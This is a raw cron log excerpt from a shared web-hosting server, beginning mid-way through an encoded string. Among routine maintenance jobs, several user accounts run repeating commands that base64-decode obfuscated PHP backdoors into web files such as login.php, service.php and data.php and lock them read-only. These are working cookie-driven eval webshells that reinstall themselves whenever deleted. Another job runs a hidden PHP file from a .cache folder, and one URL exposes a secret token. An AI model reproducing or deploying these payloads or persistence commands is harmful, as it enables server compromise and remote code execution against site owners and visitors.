ewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:38:01 medusa CROND[11023]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:38:01 medusa CROND[11026]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:38:01 medusa CROND[11027]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:38:01 medusa CROND[11028]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:39:01 medusa CROND[2287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:39:01 medusa CROND[2335]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:39:02 medusa CROND[2378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:39:02 medusa CROND[2471]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:39:02 medusa CROND[2473]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:39:02 medusa CROND[2474]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:39:02 medusa CROND[2475]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:39:02 medusa CROND[2478]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:39:02 medusa CROND[2479]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 17:39:02 medusa CROND[2480]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:39:02 medusa CROND[2486]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:39:02 medusa CROND[2488]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:39:02 medusa CROND[2489]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:39:02 medusa CROND[2490]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:40:01 medusa CROND[25545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 17:40:01 medusa CROND[25592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:40:01 medusa CROND[25703]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:40:01 medusa CROND[25704]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:40:01 medusa CROND[25706]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:40:01 medusa CROND[25705]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:40:01 medusa CROND[25709]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:40:01 medusa CROND[25711]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:40:01 medusa CROND[25713]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:40:01 medusa CROND[25710]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:40:01 medusa CROND[25712]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:40:01 medusa CROND[25707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:40:01 medusa CROND[25708]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:40:01 medusa CROND[25714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:40:01 medusa CROND[25727]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:40:01 medusa CROND[25717]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:40:01 medusa CROND[25732]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 17:40:01 medusa CROND[25733]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 17:40:01 medusa CROND[25735]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 17:40:01 medusa CROND[25741]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:40:01 medusa CROND[25742]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:40:01 medusa CROND[25734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:40:01 medusa CROND[25748]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:40:01 medusa CROND[25747]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 17:40:01 medusa CROND[25751]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:40:01 medusa CROND[25718]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
